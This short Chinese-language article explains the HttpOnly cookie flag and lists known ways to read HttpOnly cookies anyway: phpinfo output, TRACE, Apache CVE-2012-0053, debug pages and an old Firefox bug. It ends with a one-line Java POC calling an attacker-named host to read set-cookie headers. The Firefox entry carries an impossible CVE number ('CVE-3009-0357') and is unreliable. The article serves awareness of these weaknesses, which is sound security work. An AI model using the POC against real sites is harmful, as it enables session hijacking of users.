HttpOnly简介
故名思议,HttpOnly
是指仅在HTTP
层面上传输的Cookie
,当设置了HttpOnly
标志后,客户端脚本就无法读写该Cookie
,这样能有效的防御XSS
攻击。HttpOnly
是由微软在2002
年首先在Internet Explorer 6 SP1
上实现。根据微软的描述,HttpOnly
是HTTP Set-Cookie
头中的一个附加标志,下面的例子就是一个头信息中设置了HttpOnly Cookie
。
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
目前,基本上所有的浏览器和web框架都支持HttpOnly
。
得到HttpOnly Cookie
phpinfo信息
phpinfo
页面可以包含了cookie
信息,其中同样存在HttpOnly Cookie
,如下图。
支持TRACE方法的服务器
Apache
支持的一个Header
是TRACE
,TRACE
一般是用于调试,他会将请求头作为HTTP Response Body
返回。利用这个特性,可以把HttpOnly Cookie
读出来。不过目前各厂商已经禁止通过Ajax
发送TRACE
请求。
CVE-2012-0053
Apache 2.2.x
多个版本没有严格限制HTTP
请求头信息,HTTP
请求头信息超过LimitRequestFieldSize
长度时,服务器返回400
错误,并在返回信息中将出错的请求头内容输出。利用这个特性,可以得到HttpOnly Cookie
。
Django等一些web框架的调试页面
开启了调试模式的一些框架,会将程序的信息输出,其中就有Cookie
信息。
CVE-3009-0357
Firefox <= 1.9.1
在处理HttpOnly Cookies
时存在bug,通过getResponseHeader()
得不到HttpOnly Cookie
,但是通过getAllResponseHeaders()
可以得到。
Java getHeaderField
POC:
alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));